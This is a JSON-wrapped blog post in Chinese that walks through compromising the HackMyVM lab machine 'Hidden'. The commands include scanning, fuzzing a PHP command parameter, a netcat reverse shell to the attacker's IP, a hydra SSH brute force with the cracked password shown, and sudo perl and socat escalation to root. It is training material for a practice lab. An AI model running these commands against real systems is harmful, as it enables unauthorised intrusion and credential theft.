{"id":744,"date":"2024-07-09T12:46:01","date_gmt":"2024-07-09T04:46:01","guid":{"rendered":"http:\/\/162.14.82.114\/?p=744"},"modified":"2024-07-09T12:46:01","modified_gmt":"2024-07-09T04:46:01","slug":"hmv-_-hidden","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/744\/07\/09\/2024\/","title":{"rendered":"hmv[-_-]hidden"},"content":{"rendered":"

Hidden<\/h1>\n

\"image-20240706124847569\"<\/div>
\n
\"image-20240709101221009\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/hidden]\n\u2514\u2500$ rustscan -a $IP -- -A\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\n\ud83d\ude35 https:\/\/admin.tryhackme.com\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.0.115:22\nOpen 192.168.0.115:80\n\nPORT   STATE SERVICE REASON  VERSION\n22\/tcp open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)\n| ssh-hostkey: \n|   2048 b8:10:9f:60:e6:2b:62:cb:3a:8c:8c:60:4b:1d:99:b9 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3ylvuOcvHft6krWHeKWPUMaVDzsP3p1qgMQRAhN\/Je6cYv6v31sopPMI\/ZC2zVtSROx2gMs8bkuDRqv\/CLy2Q\/CpfDp\/8c2dxAB80FfHgSB6SjjqmzxXVYYn5XD6j4wg3VaeSpJ+IXsjJM\/aN1KOVLJvWaYgCRzFQfXleY5UG7fgs4ypB1v0PIhAEcCfdWwtz+tHxknWE+5tATVX1CWcNGPVOPS1DHjgV1kEFJXuewPh94KDPPvQ2syZ58aY2NwNcY1A+4sxVdNatS+n86HxXonnLUwHgYVVWKy4pBySuKO3xKHa\/pBSeWKVl+sepntMG9xX\/oslVaTGCPrsC7swL\n|   256 64:b5:b8:e6:0f:79:23:4d:4a:c0:9b:0f:a7:75:67:c9 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAnWlNAqHASzmQdf1F+p1ckmLFkKITXoKyLOH8WBdgC1S9AGONNlgX\/S\/PghOt8pS7HSVX8M3mDUWihTLAKL+ig=\n|   256 d1:11:e4:07:8a:fe:06:72:64:62:28:ca:e3:29:7b:a0 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBUpJzTS8YEHg\/tP6eXPznmApCmk68xcyQnM5JbciztL\n80\/tcp open  http    syn-ack Apache httpd 2.4.38 ((Debian))\n|_http-title: Level 1\n|_http-server-header: Apache\/2.4.38 (Debian)\n| http-methods: \n|_  Supported Methods: OPTIONS HEAD GET POST\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u4e4d\u4e00\u770b\uff0copenssh\u7248\u672c\u597d\u50cf\u6709\u70b9\u95ee\u9898\uff0c\u53ef\u80fd\u5b58\u5728\u6f0f\u6d1e\uff0c\u4e5f\u6709\u53ef\u80fd\u662f\u9776\u673a\u6bd4\u8f83\u8001\u4e86\uff0c\u5148\u4e0d\u8003\u8651\u8fd9\u4e2a\uff1a<\/p>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/hidden]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,bak,txt,html\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.0.115\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,zip,bak,txt,html\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/.html                (Status: 403) [Size: 278]\n\/index.html           (Status: 200) [Size: 392]\n\/.php                 (Status: 403) [Size: 278]\n\/.php                 (Status: 403) [Size: 278]\n\/.html                (Status: 403) [Size: 278]\n\/server-status        (Status: 403) [Size: 278]\nProgress: 1323360 \/ 1323366 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
\"image-20240709101837589\"<\/div><\/p>\n
\u770b\u4e0a\u53bb\u50cf\u662f\u67d0\u79cd\u52a0\u5bc6\uff0c\u67e5\u770b\u4e00\u4e0b\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\uff1a<\/p>\n
  <!-- format xxx.xxxxxx.xxx --><\/code><\/pre>\n
\u89e3\u7801<\/h3>\n
\u5728 https:\/\/www.dcode.fr\/chiffres-symboles<\/a> \u67e5\u627e\u5230\u4e86\u8fd9\u4e00\u7f16\u7801\uff1a<\/p>\n
\"image-20240709102642753\"<\/div><\/p>\n
\u5c1d\u8bd5\u8fdb\u884c\u89e3\u7801\uff1a<\/p>\n
\"image-20240709102846651\"<\/div><\/p>\n
SYSHIDDENHMV<\/code><\/pre>\n
fuzz<\/h3>\n
\u770b\u4e0a\u53bb\u50cf\u662f\u57df\u540d\u89e3\u6790\uff0c\u5c1d\u8bd5\u4fee\u6539\u4e00\u4e0b\/etc\/hosts<\/code>\uff1a<\/p>\n
192.168.0.115   SYS.HIDDEN.HMV   <\/code><\/pre>\n
\u518d\u6b21\u8bbf\u95ee\uff1a<\/p>\n
\"image-20240709103420118\"<\/div><\/p>\n
\u68c0\u6d4b\u6e90\u4ee3\u7801\uff0c\u6bdb\u90fd\u6ca1\u53d1\u73b0\uff0c\u5c1d\u8bd5\u76ee\u5f55\u7206\u7834\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/hidden]\n\u2514\u2500$ feroxbuster -u http:\/\/sys.hidden.hmv\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -d 3 -s 200 301 302 \n\n ___  ___  __   __     __      __         __   ___\n|__  |__  |__) |__) | \/  `    \/  \\ \\_\/ | |  \\ |__\n|    |___ |  \\ |  \\ | \\__,    \\__\/ \/ \\ | |__\/ |___\nby Ben "epi" Risher \ud83e\udd13                 ver: 2.10.2\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n \ud83c\udfaf  Target Url            \u2502 http:\/\/sys.hidden.hmv\/\n \ud83d\ude80  Threads               \u2502 50\n \ud83d\udcd6  Wordlist              \u2502 \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n \ud83d\udc4c  Status Codes          \u2502 [200, 301, 302]\n \ud83d\udca5  Timeout (secs)        \u2502 7\n \ud83e\udda1  User-Agent            \u2502 feroxbuster\/2.10.2\n \ud83d\udc89  Config File           \u2502 \/etc\/feroxbuster\/ferox-config.toml\n \ud83d\udd0e  Extract Links         \u2502 true\n \ud83c\udfc1  HTTP methods          \u2502 [GET]\n \ud83d\udd03  Recursion Depth       \u2502 3\n \ud83c\udf89  New Version Available \u2502 https:\/\/github.com\/epi052\/feroxbuster\/releases\/latest\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n \ud83c\udfc1  Press [ENTER] to use the Scan Management Menu\u2122\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n301      GET        9l       28w      316c http:\/\/sys.hidden.hmv\/users => http:\/\/sys.hidden.hmv\/users\/\n301      GET        9l       28w      318c http:\/\/sys.hidden.hmv\/members => http:\/\/sys.hidden.hmv\/members\/\n200      GET        5l        8w      110c http:\/\/sys.hidden.hmv\/users\/secret.txt\n200      GET       55l      308w    19271c http:\/\/sys.hidden.hmv\/members\/7573185_0.webp\n200      GET     2672l     8889w   650515c http:\/\/sys.hidden.hmv\/mapascii.jpg\n200      GET       17l       24w      282c http:\/\/sys.hidden.hmv\/\n301      GET        9l       28w      317c http:\/\/sys.hidden.hmv\/weapon => http:\/\/sys.hidden.hmv\/weapon\/\n[####################] - 5m    441099\/441099  0s      found:7       errors:0      \n[####################] - 4m    220546\/220546  855\/s   http:\/\/sys.hidden.hmv\/ \n[####################] - 0s    220546\/220546  5655026\/s http:\/\/sys.hidden.hmv\/users\/ => Directory listing\n[####################] - 0s    220546\/220546  4410920\/s http:\/\/sys.hidden.hmv\/members\/ => Directory listing\n[####################] - 4m    220546\/220546  848\/s   http:\/\/sys.hidden.hmv\/weapon\/ <\/code><\/pre>\n
\u5c1d\u8bd5\u770b\u4e00\u4e0b\u654f\u611f\u76ee\u5f55\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/hidden]\n\u2514\u2500$ curl -s http:\/\/sys.hidden.hmv\/users\/secret.txt | grep -v '^$'\n-----------------------------------\n$ sudo apt-get install windows10 -y\n-----------------------------------<\/code><\/pre>\n
\u554a\u3002\u3002\u3002\u3002\u3002<\/p>\n
\"image-20240709110146537\"<\/div><\/p>\n
\u5636\u3002\u3002\u3002\u3002\u3002\u7ee7\u7eed\u8fdb\u4e00\u6b65\u76ee\u5f55\u626b\u63cf\u5427\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/hidden]\n\u2514\u2500$ gobuster dir -u http:\/\/sys.hidden.hmv\/weapon\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,bak,txt,html\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/sys.hidden.hmv\/weapon\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              html,php,zip,bak,txt\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/.php                 (Status: 403) [Size: 279]\n\/.html                (Status: 403) [Size: 279]\n\/index.html           (Status: 200) [Size: 0]\n\/loot.php             (Status: 200) [Size: 0]\n\/.html                (Status: 403) [Size: 279]\n\/.php                 (Status: 403) [Size: 279]\nProgress: 1323360 \/ 1323366 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n
\u5c1d\u8bd5\u8fdb\u884c\u8bbf\u95ee\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/hidden]\n\u2514\u2500$ curl http:\/\/sys.hidden.hmv\/weapon\/\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/hidden]\n\u2514\u2500$ curl http:\/\/sys.hidden.hmv\/weapon\/loot.php \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/hidden]\n\u2514\u2500$ curl -is http:\/\/sys.hidden.hmv\/weapon\/loot.php\nHTTP\/1.1 200 OK\nDate: Tue, 09 Jul 2024 03:22:43 GMT\nServer: Apache\/2.4.38 (Debian)\nContent-Length: 0\nContent-Type: text\/html; charset=UTF-8<\/code><\/pre>\n
\u53ea\u5269\u8fd9\u4e00\u4e2aphp\u4e86\uff0c\u5c1d\u8bd5 fuzz \u4e00\u4e0b\u662f\u5426\u53ef\u4ee5\u6267\u884c\u51fd\u6570\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/hidden]\n\u2514\u2500$ wfuzz -u http:\/\/sys.hidden.hmv\/weapon\/loot.php?FUZZ=whoami -c -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt --hw 0 2>\/dev\/null\n********************************************************\n* Wfuzz 3.1.0 - The Web Fuzzer                         *\n********************************************************\n\nTarget: http:\/\/sys.hidden.hmv\/weapon\/loot.php?FUZZ=whoami\nTotal requests: 220560\n\n=====================================================================\nID           Response   Lines    Word       Chars       Payload                                                                           \n=====================================================================\n\n000001799:   200        1 L      1 W        9 Ch        "hack"                                                                            \n\nTotal time: 0\nProcessed Requests: 220560\nFiltered Requests: 220559\nRequests\/sec.: 0<\/code><\/pre>\n
ffuf\u4e5f\u53ef\u4ee5\u505a\u5230\u8fd9\u4ef6\u4e8b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/hidden]\n\u2514\u2500$ ffuf -u http:\/\/sys.hidden.hmv\/weapon\/loot.php?FUZZ=whoami -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -c --fs 0\n\n        \/'___\\  \/'___\\           \/'___\\       \n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : GET\n :: URL              : http:\/\/sys.hidden.hmv\/weapon\/loot.php?FUZZ=whoami\n :: Wordlist         : FUZZ: \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n :: Filter           : Response size: 0\n________________________________________________\n\nhack                    [Status: 200, Size: 9, Words: 1, Lines: 2, Duration: 54ms]\n:: Progress: [220560\/220560] :: Job [1\/1] :: 3389 req\/sec :: Duration: [0:01:00] :: Errors: 0 ::<\/code><\/pre>\n
\u5c1d\u8bd5\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u53cd\u5f39shell\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/hidden]\n\u2514\u2500$ curl -is http:\/\/sys.hidden.hmv\/weapon\/loot.php?hack=nc+-e+\/bin\/bash+192.168.0.143+1234<\/code><\/pre>\n
\"image-20240709121740713\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
perl\u63d0\u6743\u7528\u6237<\/h3>\n
(remote) www-data@hidden:\/var\/www\/hidden\/weapon$ ls -la\ntotal 12\ndrwxr-xr-x 2 root root 4096 May 22  2021 .\ndrwxr-xr-x 5 root root 4096 May 23  2021 ..\n-rw-r--r-- 1 root root    0 May 22  2021 index.html\n-rw-r--r-- 1 root root   46 May 22  2021 loot.php\n(remote) www-data@hidden:\/var\/www\/hidden\/weapon$ cd ~\n(remote) www-data@hidden:\/var\/www$ sudo -l\nMatching Defaults entries for www-data on hidden:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser www-data may run the following commands on hidden:\n    (toreto) NOPASSWD: \/usr\/bin\/perl<\/code><\/pre>\n
\u53c2\u8003\uff1ahttps:\/\/gtfobins.github.io\/gtfobins\/perl\/#sudo<\/a><\/p>\n
\u8fdb\u884c\u63d0\u6743\uff1a<\/p>\n
sudo -u toreto \/usr\/bin\/perl -e 'exec "\/bin\/bash";'<\/code><\/pre>\n
\"image-20240709121934410\"<\/div><\/p>\n
\u7206\u7834\u63d0\u6743\u7528\u6237<\/h3>\n
toreto@hidden:~$ whoami;id\ntoreto\nuid=1001(toreto) gid=1000(toreto) groups=1000(toreto)\ntoreto@hidden:~$ sudo -l\n\nWe trust you have received the usual lecture from the local System\nAdministrator. It usually boils down to these three things:\n\n    #1) Respect the privacy of others.\n    #2) Think before you type.\n    #3) With great power comes great responsibility.\n\n[sudo] password for toreto: \ntoreto@hidden:~$ cat \/etc\/passwd | grep '\/bin\/bash'\nroot:x:0:0:root:\/root:\/bin\/bash\natenea:x:1000:1001:,,,:\/home\/atenea:\/bin\/bash\ntoreto:x:1001:1000:,,,:\/home\/toreto:\/bin\/bash\ntoreto@hidden:~$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/bin\/gpasswd\n\/usr\/bin\/su\n\/usr\/bin\/chsh\n\/usr\/bin\/sudo\n\/usr\/bin\/passwd\n\/usr\/bin\/umount\n\/usr\/bin\/newgrp\n\/usr\/bin\/chfn\n\/usr\/bin\/mount\ntoreto@hidden:~$ ls -la\ntotal 24\ndrwxr-xr-x 2 toreto toreto 4096 May 24  2021 .\ndrwxr-xr-x 4 root   root   4096 May 24  2021 ..\n-rw------- 1 toreto toreto    1 May 25  2021 .bash_history\n-rw-r--r-- 1 toreto toreto  220 May 24  2021 .bash_logout\n-rw-r--r-- 1 toreto toreto 3526 May 24  2021 .bashrc\n-rw-r--r-- 1 toreto toreto  807 May 24  2021 .profile\ntoreto@hidden:~$ cd ..\/atenea\/\ntoreto@hidden:\/home\/atenea$ ls -la\ntotal 36\ndrwxr-xr-x 4 atenea atenea 4096 May 23  2021 .\ndrwxr-xr-x 4 root   root   4096 May 24  2021 ..\n-rw------- 1 atenea atenea    1 May 25  2021 .bash_history\n-rw-r--r-- 1 atenea atenea  220 May 22  2021 .bash_logout\n-rw-r--r-- 1 atenea atenea 3526 May 22  2021 .bashrc\ndrwxr-xr-x 2 atenea atenea 4096 May 22  2021 .hidden\ndrwxr-xr-x 3 atenea atenea 4096 May 23  2021 .local\n-rw-r--r-- 1 atenea atenea  807 May 22  2021 .profile\n-rw------- 1 atenea atenea   63 May 23  2021 user.txt\ntoreto@hidden:\/home\/atenea$ cd .hidden\/\ntoreto@hidden:\/home\/atenea\/.hidden$ ls -la\ntotal 16\ndrwxr-xr-x 2 atenea atenea 4096 May 22  2021 .\ndrwxr-xr-x 4 atenea atenea 4096 May 23  2021 ..\n-rw------- 1 toreto toreto 6170 May 22  2021 atenea.txt\ntoreto@hidden:\/home\/atenea\/.hidden$ cat atenea.txt<\/code><\/pre>\n
\u5c1d\u8bd5\u5199\u4e00\u4e2a\u811a\u672c\u7206\u7834\u4e00\u4e0b\uff0c\u989d\u592a\u6162\u4e86\uff0c\u8fd8\u662fhydra\u5427\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/hidden]\n\u2514\u2500$ hydra -l atenea -P atenea.txt ssh:\/\/192.168.0.115 2>\/dev\/null\nHydra v9.5 (c) 2023 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2024-07-09 00:36:17\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 561 login tries (l:1\/p:561), ~36 tries per task\n[DATA] attacking ssh:\/\/192.168.0.115:22\/\n[STATUS] 133.00 tries\/min, 133 tries in 00:01h, 431 to do in 00:04h, 13 active\n[STATUS] 92.00 tries\/min, 276 tries in 00:03h, 288 to do in 00:04h, 13 active\n[22][ssh] host: 192.168.0.115   login: atenea   password: sys8423hmv\n1 of 1 target successfully completed, 1 valid password found\n[WARNING] Writing restore file because 3 final worker threads did not complete until end.\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2024-07-09 00:41:40<\/code><\/pre>\n
\"image-20240709124306531\"<\/div><\/p>\n
\u63d0\u6743root<\/h3>\n
https:\/\/gtfobins.github.io\/gtfobins\/socat\/#sudo<\/a><\/p>\n
atenea@hidden:~$ sudo -l\nMatching Defaults entries for atenea on hidden:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser atenea may run the following commands on hidden:\n    (root) NOPASSWD: \/usr\/bin\/socat\natenea@hidden:~$ sudo socat stdin exec:\/bin\/bash\nwhoami\nroot\nid\nuid=0(root) gid=0(root) groups=0(root)<\/code><\/pre>\n
\u53c2\u8003<\/h2>\n
https:\/\/conper.gitbook.io\/hacking\/practice\/writeups\/hackmyvm\/easy\/hidden<\/a><\/p>\n
https:\/\/www.freebuf.com\/articles\/web\/327934.html<\/a><\/p>\n
https:\/\/grumpygeekwrites.wordpress.com\/2021\/05\/31\/hackmyvm-hidden-walk-through-tutorial-writeup\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
Hidden \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/hidden] \u2514\u2500$ rus […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-744","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/744","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=744"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/744\/revisions"}],"predecessor-version":[{"id":745,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/744\/revisions\/745"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=744"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=744"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=744"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}